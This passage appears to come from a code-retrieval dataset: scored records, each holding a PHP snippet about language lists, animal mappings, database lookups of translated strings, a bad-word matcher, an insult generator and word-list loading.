'sk' => 'Slovak', 'ls' => 'Slovenian', 'sb' => 'Sorbian', 'es-ar' => 'Spanish (Argentina)', 'es-bo' => 'Spanish (Bolivia)', 'es-cl' => 'Spanish (Chile)', 'es-co' => 'Spanish (Colombia)', 'es-cr' => 'Spanish (Costa Rica)', 'es-do' => 'Spanish (Dominican Republic)', 'es-ec' => 'Spanish (Ecuador)', 'es-sv' => 'Spanish (El Salvador)', 'es-gt' => 'Spanish (Guatemala)', 'es-hn' => 'Spanish (Honduras)', 'es-mx' => 'Spanish (Mexico)', 'es-ni' => 'Spanish (Nicaragua)', 'es-pa' => 'Spanish (Panama)', 'es-py' => 'Spanish (Paraguay)', 'es-pe' => 'Spanish (Peru)', 'es-pr' => 'Spanish (Puerto Rico)', 'es-us' => 'Spanish (United States)', 'es-uy' => 'Spanish (Uruguay)', 'es-ve' => 'Spanish (Venezuela)', 'es' => 'Spanish (Traditional Sort)', 'sx' => 'Sutu', 'sw' => 'Swahili', 'sv-fi' => 'Swedish (Finland)', 'sv' => 'Swedish', 'syr' => 'Syriac', 'ta' => 'Tamil', 'tt' => 'Tatar', 'te' => 'Telugu', 'th' => 'Thai', 'ts' => 'Tsonga', 'tn' => 'Tswana', 'tr' => 'Turkish', 'uk' => 'Ukrainian', 'ur' => 'Urdu', 'uz' => 'Uzbek', 'vi' => 'Vietnamese', 'xh' => 'Xhosa', 'yi' => 'Yiddish', 'zu' => 'Zulu' );\n\t\n\treturn $a_languages;\n}", "title": "" }, { "docid": "038f0fd6d0718e75f7f383e334a6b480", "score": "0.53407663", "text": "public function getAnimals()\n {\n return $this->animals;\n }", "title": "" }, { "docid": "5917d8b274a2dbdb92a976bd3c2cf35a", "score": "0.5334591", "text": "public function glossary () {\n\t\treturn DB::pairs (\n\t\t\t'select title, content\n\t\t\tfrom lemur_item\n\t\t\twhere course = ? and type = ?\n\t\t\torder by title asc',\n\t\t\t$this->id,\n\t\t\tItem::DEFINITION\n\t\t);\n\t}", "title": "" }, { "docid": "c44fb0d094d483685836f06c0589454c", "score": "0.5313079", "text": "function myAnimal(){\n\tglobal $xhtml,$db,$gClass,$lang,$ANIMAL_EXP;\n\t$title=$lang->myanimal;\n\t$topc.=$gClass->getLifeManaLine();\n\t\n\t$db->Query(\"SELECT * FROM rpg_usersanimals WHERE aid='\".ANIMAL.\"'\");\n\t$row=$db->FetchAssoc();\n\t$gClass->updateAnimalLevel($row['exp'],$row['alevel'],$row['type']);\n\t$middlec.=$xhtml->getBlock($row['aname'].'('.$row['mainname'].')','zvklist').$xhtml->getImage('images/a/'.$row['type'].'.jpg',$row['mainname']).$xhtml->getBR();\n\t$f.=$lang->strength.':'.$row['strength'].$xhtml->getBR();\n if ($row['accuracy']>0) $f.=$lang->accuracy.':'.$row['accuracy'].$xhtml->getBR();\n\tif ($row['dexterity']>0) $f.=$lang->dexterity.':'.$row['dexterity'].$xhtml->getBR();\n\tif ($row['blocking']>0) $f.=$lang->blocking.':'.$row['blocking'].$xhtml->getBR();\n\tif ($row['ant_accuracy']>0) $f.=$lang->antaccuracy.':'.$row['ant_accuracy'].$xhtml->getBR();\n\tif ($row['ant_dexterity']>0) $f.=$lang->antdexterity.':'.$row['ant_dexterity'].$xhtml->getBR();\n\tif ($row['ant_blocking']>0) $f.=$lang->antblocking.':'.$row['ant_blocking'].$xhtml->getBR();\n\t$f.=$lang->bron.':'.$row['bron'].$xhtml->getBR();\n\t$middlec.=$lang->level.':'.$row['alevel'].$xhtml->getBR();\n\t$middlec.='Exp:'.$row['exp'].' ('.$ANIMAL_EXP[$row['alevel']+1].')'.$xhtml->getBR();\n\t$middlec.=$lang->mealinfigth.':'.($row['alevel']*$row['fmeal']).$xhtml->getBR();\n\t$middlec.=$lang->eatinglvl.':'.$row['replete'].$xhtml->getBR();\n\t$middlec.=$xhtml->getBlock($f,'zvklist');\n\t$downc.=$xhtml->getLink('index.php',$lang->main);\n\t$xhtml->createPage($lang->myhero,$topc,$middlec,$downc);\n}", "title": "" }, { "docid": "a136e8fde11837b61eb861bbb4cdd144", "score": "0.53124887", "text": "public function get_languages(){\n return array('Java', 'Python', 'C++', 'PythonDocker');\n }", "title": "" }, { "docid": "7e785eb10119ff0c862c76a95e9cda07", "score": "0.53013486", "text": "function get_all_languages() {\n $language_files = array();\n $all_files = $this->get_list_of_language_files();\n foreach ($all_files as $file) {\n $info = pathinfo($file);\n if( isset($info['extension']) && strtolower($info['extension']) == 'json') {\n $file_name = explode('.json', $info['basename']);\n array_push($language_files, $file_name[0]);\n }\n }\n return $language_files;\n }", "title": "" }, { "docid": "2698658d92682cb9cfa6df501e2cd7e6", "score": "0.53004485", "text": "function placeAnimals($hexagram){\r\n\t\t\r\n\t\t$animalArray = array();\r\n\t\t\r\n\t\t$jourTonc = strtolower($hexagram['Hexagram']['jourTronc']);\r\n\t\t\r\n\t\t$jiaYi = array(1 => 'Green Dragon', 2 => 'Red Bird', 3 => 'Yellow Scorpion', 4 => 'Gray Serpent', 5 => 'White Tiger', 6 => 'Black Turtle');\r\n\t\t$bingDing = array(1 => 'Red Bird', 2 => 'Yellow Scorpion', 3 => 'Gray Serpent', 4 => 'White Tiger', 5 => 'Black Turtle', 6 => 'Green Dragon');\r\n\t\t$whu = array(1 => 'Yellow Scorpion', 2 => 'Gray Serpent', 3 => 'White Tiger', 4 => 'Black Turtle', 5 => 'Green Dragon', 6 => 'Red Bird');\r\n\t\t$ji = array(1 => 'Gray Serpent', 2 => 'White Tiger', 3 => 'Black Turtle', 4 => 'Green Dragon', 5 => 'Red Bird', 6 => 'Yellow Scorpion');\r\n\t\t$gengXin = array(1 => 'White Tiger', 2 => 'Black Turtle', 3 => 'Green Dragon', 4 => 'Red Bird', 5 => 'Yellow Scorpion', 6 => 'Gray Serpent');\r\n\t\t$renGui = array(1 => 'Black Turtle', 2 => 'Green Dragon', 3 => 'Red Bird', 4 => 'Yellow Scorpion', 5 => 'Gray Serpent', 6 => 'White Tiger');\r\n\t\t\r\n\t\tswitch($jourTonc){\r\n\t\t\tcase 'jia':\r\n\t\t\t\t$animalArray = $jiaYi;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'yi':\r\n\t\t\t\t$animalArray = $jiaYi;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'bing':\r\n\t\t\t\t$animalArray = $bingDing;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'ding':\r\n\t\t\t\t$animalArray = $bingDing;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'whu':\r\n\t\t\t\t$animalArray = $whu;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'ji':\r\n\t\t\t\t$animalArray = $ji;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'geng':\r\n\t\t\t\t$animalArray = $gengXin;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'xin':\r\n\t\t\t\t$animalArray = $gengXin;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'ren':\r\n\t\t\t\t$animalArray = $renGui;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'gui':\r\n\t\t\t\t$animalArray = $renGui;\r\n\t\t\t\tbreak;\r\n\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\treturn $animalArray;\r\n\r\n\t}", "title": "" }, { "docid": "fda249db0bcfe533c8b9ab331d58cb99", "score": "0.5295853", "text": "function get_language(&$lang_out, $groups,$lang_code=\"de\"){ \n $RSlanguage = new db_query;\n $load_sql = \"na\";\n if($groups != \"\"){\n //only load groups we dont already have .. \n $gr = explode(\",\",$groups);\n $groups = \"\";\n foreach($gr as $group){\n if(!is_array($lang_out[$group])){\n $groups .= \",'\".$group.\"'\";\n }\n }\n $groups = trim($groups,\",\");\n if($groups != \"\"){\n $load_sql = \" WHERE string_group IN (\".$groups.\") AND string_category='game' AND \";\n }\n } else {\n //load all game texts .. maybe this could be more dynamic too\n $load_sql = \" WHERE string_category='game'\";\n }\n \n if($load_sql != \"na\"){\n //only load if we have to ..\n $RSlanguage->execute(\"SELECT string_group,string_name,\".$lang_code.\"_text FROM tbllanguage\".$load_sql);\n if($RSlanguage->rowcount > 0) {\n $retVal = true;\n while($RSlanguage->next()){\n $lang_out[$RSlanguage->value(\"string_group\")][$RSlanguage->value(\"string_name\")] = $RSlanguage->value($lang_code.\"_text\");\n }\n }\n }\n }", "title": "" }, { "docid": "ce21a7d199932976ea0ae666e27edfbd", "score": "0.5295704", "text": "public function language();", "title": "" }, { "docid": "b6c8c8834ee15e99f75208e48f86989d", "score": "0.52790934", "text": "public function badWords()\n {\n return collect($this->dictionary)->filter(function ($value) {\n $matches = [];\n if ($this->strict) {\n return preg_match('/'.$value['word'].'/iu', $this->text, $matches, PREG_UNMATCHED_AS_NULL);\n }\n $pattern = \"/\\b{$value['word']}\\b/iu\";\n\n return preg_match($pattern, $this->text, $matches, PREG_UNMATCHED_AS_NULL);\n })->map(function ($value) {\n return [\n 'language' => $value['language'],\n 'word' => $value['word'],\n ];\n })->toArray();\n }", "title": "" }, { "docid": "3fb98d5dee26cfcd5c7821451a8ab0c4", "score": "0.5275948", "text": "function category_list($lang=\"en\") {\n $ret=array();\n\n // get list of current categories\n $res=sql_query(\"select * from category_current left join category on category_current.version=category.version\");\n while($elem=pg_fetch_assoc($res)) {\n $tags=new tags(parse_hstore($elem['tags']));\n $ret[$elem['category_id']]=$tags;\n }\n\n return $ret;\n}", "title": "" }, { "docid": "6bea7d0de69b321354fe569d7d82f298", "score": "0.52726054", "text": "function getGripesByKeyword() {\r\n}", "title": "" }, { "docid": "49cc89e934fbea5d4e94508c4f4147d5", "score": "0.52720255", "text": "public function getLanguages()\n {\n $query = \"SELECT * from languages\";\n\n $ret = [];\n $result = $this->db->query($query);\n while ($lg = $result->fetchArray(SQLITE3_ASSOC))\n {\n $ret[$lg[\"id\"]] = $lg[\"name\"];\n }\n\n return $ret;\n }", "title": "" }, { "docid": "bdea59a233b790118a72c15a07fd18bc", "score": "0.5268519", "text": "function igk_treat_lang_res($n){\n static $res=null;\n if($res == null){\n $res[\"represent\"]=\"Represente\";\n }\n return igk_getv($res, $n, $n);\n}", "title": "" }, { "docid": "56220a45735bb1c5a59e31d4be644cdf", "score": "0.5267856", "text": "private function findLanguages() {\n $languages = array();\n $i = 0;\n\n if ($handle = opendir($this->messagepath)) {\n while (false !== ($entry = readdir($handle))) {\n if ($entry != \".\" && $entry != \"..\") {\n //self::$_items[$type][$model->code]=$model->name;\n $languages[$i] = $entry;\n $i++;\n }\n }\n closedir($handle);\n }\n\n if (!empty($this->excludedirs)) {\n $languages = $this->excludes('dirs', $languages);\n }\n return $languages;\n }", "title": "" }, { "docid": "7613cdd010c3952d54411e53aea1f142", "score": "0.52643746", "text": "function getRoast0($name = 'Me')\n{\n $name = ucwords($name);\n\n /*\n There are four text files in data folder containing list of words which are being used for making insulting sentences\n\n adjective.txt\t\t-> contains all the insult adjectives.\n amount.txt\t \t-> contains insulting synonyms of amount.\n animal.txt\t \t-> contains animal names.\n animal_part.txt\t\t-> contains animal parts.\n\n */\n $adjective_file = file_get_contents('Insult/data0/adjective.txt');\n $amount_file = file_get_contents('Insult/data0/amount.txt');\n $animal_file = file_get_contents('Insult/data0/animal.txt');\n $animal_part_file = file_get_contents('Insult/data0/animal_part.txt');\n\n //exploding list and putting them in arrays\n $adjective_rows = explode(\"\\n\", $adjective_file);\n $amount_rows = explode(\"\\n\", $amount_file);\n $animal_rows = explode(\"\\n\", $animal_file);\n $animal_part_rows = explode(\"\\n\", $animal_part_file);\n\n //Selecting random words from list\n $adjective = $adjective_rows[array_rand($adjective_rows)];\n $amount = $amount_rows[array_rand($amount_rows)];\n $animal = $animal_rows[array_rand($animal_rows)];\n $animal_part = $animal_part_rows[array_rand($animal_part_rows)];\n\n //Two adjective groups having min=1 and max=3 words\n shuffle($adjective_rows);\n $adjective_group_1 = array_slice($adjective_rows, count($adjective_rows) - mt_rand(1, 3));\n\n shuffle($adjective_rows);\n $adjective_group_2 = array_slice($adjective_rows, count($adjective_rows) - mt_rand(1, 3));\n\n // Article a/an for the $adjective_group_1\n $vowel_arr = ['a', 'e', 'i', 'o', 'u'];\n $string = $adjective_group_1[0];\n $len = strtolower(substr($string, 0, 1));\n\n if (in_array($len, $vowel_arr)) {\n $article = 'an';\n } else {\n $article = 'a';\n }\n\n switch ($name) {\n case '@insulterbot':\n case 'Insulterbot':\n $body = 'Wtf, What did i do? You better complain to my dad @infinite4evr :\"(';\n break;\n\n case 'Ashu':\n case 'ashu':\n case 'sudhanshu':\n $body = 'Not like you, I respect my dad :)';\n break;\n default:\n $body = $name . ' is as ' . $adjective . ' as ' . $article . ' ' . implode(' ', $adjective_group_1) . ' ' . $amount . ' of ' . implode(' ', $adjective_group_2) . ' ' . $animal . ' ' . $animal_part . '!';\n }\n\n return $body;\n}", "title": "" }, { "docid": "b3444405df506aac7498fde7e60efbac", "score": "0.52522874", "text": "public static function getLanguages()\n {\n }", "title": "" }, { "docid": "7e3e2258cd7bedc5e00a2a8f5af4304b", "score": "0.5243007", "text": "public function getVowels(){\n\t\t$data = $this->_getLocaleData();\n\t\t$path = '/ldml/linguistics/vowels/vowel[@accented=\"no\"]';\n\t\t$vowels = $data->queryLanguage($this->getLanguage(), $path);\n\t\t$arrayVowels = array();\n\t\tforeach($vowels as $vowel){\n\t\t\t$arrayVowels[] = $vowel->nodeValue;\n\t\t\tunset($vowel);\n\t\t}\n\t\treturn $arrayVowels;\n\t}", "title": "" }, { "docid": "8fe5d46802fcb2ef021507f24fe48861", "score": "0.52351826", "text": "public function getListOfAnimals() : array\n {\n return [\n 'rabbit',\n 'bear',\n 'rat',\n 'mouse',\n 'cat',\n 'dog',\n 'moose',\n 'elephant',\n 'giraffe'\n ];\n }", "title": "" }, { "docid": "e7da2cee6d2235bb3d2165dd9636672a", "score": "0.5224968", "text": "public function findAllCertifiedLanguages()\n {\n $query = $this->createQuery(\n 'SELECT l.id, l.name FROM InterpretersOffice\\Entity\\Language l '\n . ' INDEX BY l.id '\n . ' WHERE l.name IN (:names)'\n )->setParameters([\n ':names' => ['Spanish','Haitian Creole','Navajo'],\n ]);\n\n return $query->getResult();\n }", "title": "" }, { "docid": "dfb453d49b9a7532f7915a6d331cdf1a", "score": "0.5217133", "text": "function get_headers_cat($language) {\n\t\n\tconnect_to_recipe_database();\n\t\n\t$query_types=mysql_query(\"SELECT DISTINCT type FROM recipes.main\") or mysql_die();\n\t$num_types=mysql_num_rows($query_types);\n\tfor($i=0;$i<$num_types;$i++) {\n\t\t$type_id=mysql_result($query_types,$i,'type');\n\t\t$type_name=mysql_result(mysql_query(\"SELECT name_\".$language.\" FROM recipes.type WHERE type_id=$type_id\"),0);\n\t\techo \"<p><a href='list_recipes.php?type=$type_id'>\".ucfirst(utf8_encode($type_name)).\"</a></p>\\n\";\n\t}\t\n}", "title": "" }, { "docid": "cb882b06222d05150523e8bd674841c0", "score": "0.5216939", "text": "function get_all_langs()\r\n{\r\n $langs=array();\r\n $d=dir(APPROOT.'/languages/');\r\n while(false!==($entry=$d->read())){\r\n if(substr($entry,0,1)!='.') {\r\n $langs[substr($entry,0,-4)]=substr($entry,0,-4);\r\n }\r\n }\r\n $d->close();\r\n return array_filter($langs,'_removeIndex');\r\n}", "title": "" }, { "docid": "274b28964606467d63ab0e9a0487273b", "score": "0.52147263", "text": "public static function words()\n {\n return [\n 'pain' => 'bread',\n 'nain de jardin' => 'garden gnome',\n 'ouef' => 'egg',\n 'bouisson' => 'bush',\n 'chapeau' => 'hat',\n 'porte' => 'door',\n 'musique' => 'music',\n 'biscuit' => 'cookie',\n ];\n }", "title": "" }, { "docid": "5a1bf1e4f45f0a84347acc8c31e6b888", "score": "0.5213109", "text": "public function langs ()\n {\n if (class_exists(config('translation.model')))\n $langs = config('translation.model')::\n select(['lang_code', 'text_code', 'content'])\n ->where('entity_id', $this->getKey())\n ->get()->toArray();\n else\n $langs = DB::table(config('translation.table'))\n ->select(['lang_code', 'text_code', 'content'])\n ->where('entity_id', $this->getKey())\n ->where('text_code', $code)\n ->get()->toArray();\n\n $texts = [];\n for ($i = 0; $i < count($langs); $i++) {\n $lang = $langs[$i]['lang_code'];\n $code = $langs[$i]['text_code'];\n if (!isset($texts[$lang])) $texts[$lang] = [];\n foreach ($this->getTranKey($code, $lang) as $prop)\n $texts[$lang][$prop] = $langs[$i]['content'];\n }\n return $texts;\n }", "title": "" }, { "docid": "7862c9c284a9b53ec7425528c6872197", "score": "0.5197332", "text": "public function getMesesMultilang(){\n\n\t\tif (method_exists($this, 'getMeses' . ucfirst($this->lang)) ){\n\n\t\t\treturn call_user_func(array($this,'getMeses' . ucfirst($this->lang)));\n\t\t\t\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "fc078684c543a61639fd2327d3c79b1c", "score": "0.51935834", "text": "function tipContent($meaning_array)\n{\n\t$result_array = [];\n\tforeach ($meaning_array['words'] as $word) \n\t{\n\t\t$result_array[$word['language']['name']][] = $word['text'].'='.$word['id'];\n\t}\n\n\t$html = '';\n\tforeach ($result_array as $name => $words) \n\t{\n\t\t$language = WordLanguage::where('name', $name)->first();\n\n\t\t$line = '<p><img class=\"translation_image\" src=\"'.$language->image.'\">';\n\t\t$word_links_in_line = [];\n\t\tforeach ($words as $word) \n\t\t{\n\t\t\t$word_exploded = explode('=', $word);\n\t\t\t$word_links_in_line[] = link_to_route('word_path', $word_exploded[0], $word_exploded[1]);\n\t\t}\n\t\t$line .= implode(', ', $word_links_in_line);\n\t\t$line .= '</p>';\n\t\t$html = $html.$line;\n\t}\n\n\treturn $html;\n}", "title": "" }, { "docid": "f01aa132c6ba995590274f1bbe67476b", "score": "0.51576155", "text": "function getLabels()\n{\n $sql=\"SELECT name FROM manufacturers\";\n $brands=$GLOBALS['db']->getAllValues($sql);\n $brands=json_encode($brands);\n $lang=$_SESSION['lang'];\n if($lang==\"en_us\"){\n $labels = <<<EOF\n[\n {\"type\":\"range\",\"name\":\"total test result\",\"label\":\"Total test result\",\n \"value\":[{\">=\":0,\"<=\":1.5},{\">\":1.5,\"<=\":2.5},{\">\":2.5,\"<=\":3.5},{\">\":3.5,\"<=\":4.5},{\">\":4.5,\"<=\":5.5}],\n \"option\":[\"very good \",\"good \",\"average\",\"adequate\",\"poor\"]},\n {\"type\":\"date\",\"name\":\"Publication date\",\"label\":\"Tested date\",\n \"value\":[2016],\n \"option\":[2016]},\n {\"type\":\"string\",\"name\":\"Brand\",\"label\":\"Brands\",\n \"value\":$brands,\n \"option\":$brands},\n {\"type\":\"string\",\"name\":\"Months of infant age\",\"label\":\"Months of infant age\",\n \"value\":[\"> 12\"],\n \"option\":[\"above 12\"]},\n {\"type\":\"string\",\"name\":\"Country of production (stated)\",\"label\":\"Country of production\",\n \"value\":[\"China\",\"Germany\",\"Netherlands\",\"Ireland\",\"Switzerland\"],\n \"option\":[\"China\",\"Germany\",\"Netherlands\",\"Ireland\",\"Switzerland\"]},\n\t\t {\"type\":\"string\",\"name\":\"Geographical origin of milk (stated)\",\"label\":\"Geographical origin of milk (stated)\",\n \"value\":[\"China\",\"Germany\",\"Irland\",\"Netherlands\",\"Switzerland\",\"Imported\"],\n \"option\":[\"China\",\"Germany\",\"Irland\",\"Netherlands\",\"Switzerland\",\"Imported\"]},\n\t\t {\"type\":\"range\",\"name\":\"DHA measurement\",\"label\":\"Docosahexaenoic acid (DHA)\",\n \"value\":[{\"=\":\"< LOQ\"},{\">\":1,\"<\":2.4},{\">=\":2.4,\"<=\":4.8}],\n \"option\":[\"< LOQ\",\"< 2.4 mg/100kJ\",\"2.4 ~ 4.8 mg/100kJ\"]},\n\t\t {\"type\":\"range\",\"name\":\"Aerobic bacterial count measurement\",\"label\":\"Aerobic bacterial count\",\n \"value\":[{\"=\":\"<10\"},{\">=\":\"10\",\"<=\":50},{\">=\":51,\"<=\":100},{\">=\":101,\"<=\":200},{\">=\":201,\"<=\":300},{\">=\":301,\"<=\":500}],\n \"option\":[\"< 10\",\"10 ~ 50\",\"51 ~ 100\",\"101 ~ 200\",\"201 ~ 300\",\"301 ~ 500\"]},\n\t\t {\"type\":\"range\",\"name\":\"Sum of Dioxins and dioxin-like PCB\",\"label\":\"Dioxins and dioxin-like PCB in pg WHO-TEQ/g prepared milk\",\n \"value\":[{\"<\":0.007},{\">=\":0.007,\"<=\":0.010},{\">=\":0.011,\"<=\":0.020},{\">=\":0.021,\"<=\":0.030}],\n \"option\":[\"< 0.007\",\"0.007 ~ 0.010\",\"0.011 ~ 0.020\",\"0.021 ~ 0.030\"]}\n ]\nEOF;\n\n }else if($lang==\"zh_cn\"){\n $sql=\"select CHN from sdictionary where oriword in( SELECT distinct value FROM mobilephones.results where id_evaluation=100001759)\";\n $brandLabels=$GLOBALS['db']->getAllValues($sql);\n $brandLabels=json_encode($brandLabels);\n $labels = <<<EOF\n [\n {\"type\":\"range\",\"name\":\"total test result\",\"label\":\"总评分\",\n \"value\":[{\">=\":0,\"<=\":1.5},{\">\":1.5,\"<=\":2.5},{\">\":2.5,\"<=\":3.5},{\">\":3.5,\"<=\":4.5},{\">\":4.5,\"<=\":5.5}],\n \"option\":[\"优秀\",\"良好\",\"中等\",\"尚可\",\"差劣\"]},\n {\"type\":\"date\",\"name\":\"Publication date\",\"label\":\"测试时间\",\n \"value\":[2016],\n \"option\":[2016]},\n {\"type\":\"string\",\"name\":\"Brand\",\"label\":\"品牌\",\n \"value\":$brands,\n \"option\":$brandLabels}\n ]\nEOF;\n }\n\n $arr = json_decode($labels, true);\n foreach ($arr as $key => $item) {\n if ($item['type'] == 'string') {\n foreach ($item['value'] as $value) {\n $sql = \"select count(*) from results where value='\" . $value . \"'\" . \"and id_evaluation=(select id_evaluation from evaluations where id_evaluation>99999999 and name='\" . $item['name'] . \"')\";\n //echo $sql;\n $v = $GLOBALS['db']->getOne($sql);\n $arr[$key]['number'][] = $v;\n }\n } else if($item['type'] == 'range') {\n foreach ($item['value'] as $value) {\n $opts = array_keys($value);\n $len = count($opts);\n if($item['name'] == 'total test result'){//评分数据四舍五入\n if ($len == 1 && $opts[0] != -1) {\n $sql = \"select count(*) from results where format(6-value,1)\" . $opts[0] . $value[$opts[0]];\n } else if ($len == 2 && $opts[0] != -1) {\n $sql = \"select count(*) from results where format(6-value,1)\" . $opts[0] . $value[$opts[0]] . \" and format(6-value,1)\" . $opts[1] . $value[$opts[1]];\n }\n }else{//property数值正常读取\n if ($len == 1 && $opts[0] != -1) {\n\t\t\t\t\t\tif(is_numeric($value[$opts[0]]))\n\t\t\t\t\t\t\t$sql = \"select count(*) from results where value\" . $opts[0] . $value[$opts[0]];\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$sql = \"select count(*) from results where value\" . $opts[0] . \"'\".$value[$opts[0]].\"'\";\n } else if ($len == 2 && $opts[0] != -1) {\n $sql = \"select count(*) from results where value\" . $opts[0] . $value[$opts[0]] . \" and value\" . $opts[1] . $value[$opts[1]];\n }\n }\n\n $sql .= \" and id_evaluation=(select id_evaluation from evaluations where \";\n if ($item['name'] == 'total test result')\n $sql .= \"name='\" . $item['name'] . \"')\";\n else\n $sql .= \"id_evaluation>99999999 and name='\" . $item['name'] . \"')\";\n //echo $sql.\"\\n\";\n $v = $GLOBALS['db']->getOne($sql);\n $arr[$key]['number'][] = $v;\n }\n }else if($item['type'] == 'date'){\n foreach ($item['value'] as $value) {\n $sql = \"select count(*) from products where FROM_UNIXTIME(timestamp_created, '%Y' )='\" . $value . \"'\" ;\n //echo $sql;\n $v = $GLOBALS['db']->getOne($sql);\n $arr[$key]['number'][] = $v;\n }\n }else if($item['type'] == 'multi'){\n foreach ($item['value'] as $value) {\n $sql = \"select count(*) from results where value=1\" . \" and id_evaluation=(select id_evaluation from evaluations where id_evaluation>99999999 and name='\" .$value . \"')\";\n //echo $sql;\n $v = $GLOBALS['db']->getOne($sql);\n $arr[$key]['number'][] = $v;\n }\n }\n }\n sortByNumber($arr[2]);\n return json_encode($arr);\n}", "title": "" }, { "docid": "84de9c57eca96c04087c142ef740a098", "score": "0.5140744", "text": "public function getInOwnLanguages() : array\n\t{\n\t\t$stmt = $this->db->prepare(\n\t\t\t'SELECT\n\t\t\t\t`in_language_id`,\n\t\t\t\t`named_language_id`,\n\t\t\t\t`name`\n\t\t\tFROM `language_names`\n\t\t\tWHERE `in_language_id` = `named_language_id`'\n\t\t);\n\t\t$stmt->execute();\n\n\t\t$languageNames = [];\n\n\t\twhile ($result = $stmt->fetch(PDO::FETCH_ASSOC)) {\n\t\t\t$languageName = new LanguageName(\n\t\t\t\tnew LanguageId($result['in_language_id']),\n\t\t\t\tnew LanguageId($result['named_language_id']),\n\t\t\t\t$result['name']\n\t\t\t);\n\n\t\t\t$languageNames[$result['named_language_id']] = $languageName;\n\t\t}\n\n\t\treturn $languageNames;\n\t}", "title": "" }, { "docid": "54964060e4b1c34bd4b3fd030a9cda8a", "score": "0.5135671", "text": "function LoadPartsOfSpeech(){\n\n\t// set up the parts of speech array\n\t$pos = array();\n\n\t// Punctuation\n\t$pos['space'] = ' ';\n\t$pos['comma'] = ',';\n\t$pos['period'] = '.';\n\t$pos['exclamation'] = '!';\n\n\t// Adjectives\n\t$pos['adjectives']['appearance'] = LoadListFile('Adjectives/adjectives-appearances');\n\t$pos['adjectives']['color'] = LoadListFile('Adjectives/adjectives-colors');\n\t$pos['adjectives']['conditions'] = LoadListFile('Adjectives/adjectives-conditions');\n\t$pos['adjectives']['negative_personality_traits'] = LoadListFile('Adjectives/adjectives-negative-personality-traits');\n\t$pos['adjectives']['positive_personality_traits'] = LoadListFile('Adjectives/adjectives-positive-personality-traits');\n\t$pos['adjectives']['unsorted'] = LoadListFile('Adjectives/adjectives-unsorted');\n\n\t// Adverbs\n\t$pos['adverbs']['unsorted'] = LoadListFile('Adverbs/adverbs-unsorted');\n\n\t// Conjunctions\n\t$pos['conjunctions']['pure'] = LoadListFile('Conjunctions/conjunctions-pure');\n\t$pos['conjunctions']['coordinating'] = LoadListFile('Conjunctions/conjunctions-coordinating');\n\t$pos['conjunctions']['correlative'] = LoadListFile('Conjunctions/conjunctions-correlative');\n\t$pos['conjunctions']['subordinating'] = LoadListFile('Conjunctions/conjunctions-subordinating');\n\n\t// Determiners\n\t$pos['determiners']['definite_article'] = LoadListFile('Determiners/determiners-definite-article');\n\t$pos['determiners']['demonstratives'] = LoadListFile('Determiners/determiners-demonstratives');\n\t$pos['determiners']['difference_words'] = LoadListFile('Determiners/determiners-difference-words');\n\t$pos['determiners']['distributives'] = LoadListFile('Determiners/determiners-distributives');\n\t$pos['determiners']['indefinite_articles'] = LoadListFile('Determiners/determiners-indefinite-articles');\n\t$pos['determiners']['numbers'] = LoadListFile('Determiners/determiners-numbers');\n\t$pos['determiners']['pre_determiners'] = LoadListFile('Determiners/determiners-pre-determiners');\n\t$pos['determiners']['pronouns_and_possessives'] = LoadListFile('Determiners/determiners-pronouns-and-possessives');\n\t$pos['determiners']['quantifiers'] = LoadListFile('Determiners/determiners-quantifiers');\n\n\t// Nouns\n\t$pos['proper_nouns']['male'] = LoadListFile('Nouns/proper-nouns-male');\n\t$pos['proper_nouns']['female'] = LoadListFile('Nouns/proper-nouns-female');\n\t$pos['proper_nouns']['last_names'] = LoadListFile('Nouns/last-names');\n\t$pos['proper_nouns']['alien_names'] = LoadListFile('Nouns/alien-names');\n\t$pos['nouns']['unsorted'] = LoadListFile('Nouns/nouns-unsorted');\n\n\t// Prepositions\n\t$pos['prepositions']['unsorted'] = LoadListFile('Prepositions/prepositions-unsorted');\n\n\t// Pronouns\n\t$pos['pronouns']['female'] = LoadListFile('Pronouns/pronouns-female');\n\t$pos['pronouns']['first_person']['plural'] = LoadListFile('Pronouns/pronouns-first-person-plural');\n\t$pos['pronouns']['first_person']['singular'] = LoadListFile('Pronouns/pronouns-first-person-singular');\n\t$pos['pronouns']['gender_neutral'] = LoadListFile('Pronouns/pronouns-gender-neutral');\n\t$pos['pronouns']['indefinite']['omni'] = LoadListFile('Pronouns/pronouns-indefinite-omni');\n\t$pos['pronouns']['indefinite']['plural'] = LoadListFile('Pronouns/pronouns-indefinite-plural');\n\t$pos['pronouns']['indefinite']['singular'] = LoadListFile('Pronouns/pronouns-indefinite-singular');\n\t$pos['pronouns']['interrogative'] = LoadListFile('Pronouns/pronouns-interrogative');\n\t$pos['pronouns']['male'] = LoadListFile('Pronouns/pronouns-male');\n\t$pos['pronouns']['posessive'] = LoadListFile('Pronouns/pronouns-posessive');\n\t$pos['pronouns']['relative'] = LoadListFile('Pronouns/pronouns-relative');\n\t$pos['pronouns']['second_person']['plural'] = LoadListFile('Pronouns/pronouns-second-person-plural');\n\t$pos['pronouns']['second_person']['singular'] = LoadListFile('Pronouns/pronouns-second-person-singular');\n\t$pos['pronouns']['third_person'] = LoadListFile('Pronouns/pronouns-third-person');\n\n\t// Verbs\n\t$pos['verbs']['past_participle'] = LoadListFile('Verbs/verbs-past-participle');\n\t$pos['verbs']['present_participle'] = LoadListFile('Verbs/verbs-present-participle');\n\t$pos['verbs']['simple_past'] = LoadListFile('Verbs/verbs-simple-past');\n\t$pos['verbs']['singular'] = LoadListFile('Verbs/verbs-singular');\n\t$pos['verbs']['unsorted'] = LoadListFile('Verbs/verbs-unsorted');\n\n\t// Misc. stuff that hasn't been properly sorted or is experamental\n\t$pos['actions'] = LoadListFile('Misc/actions');\n\t$pos['events'] = LoadListFile('Misc/events');\n\t$pos['locations'] = LoadListFile('Misc/locations');\n\t$pos['proximities'] = LoadListFile('Misc/proximities');\n\t//$pos['abilities']['scifi'] = LoadListFile.('Misc/abilities-scifi');\n\t//$pos['occupations']['old'] = 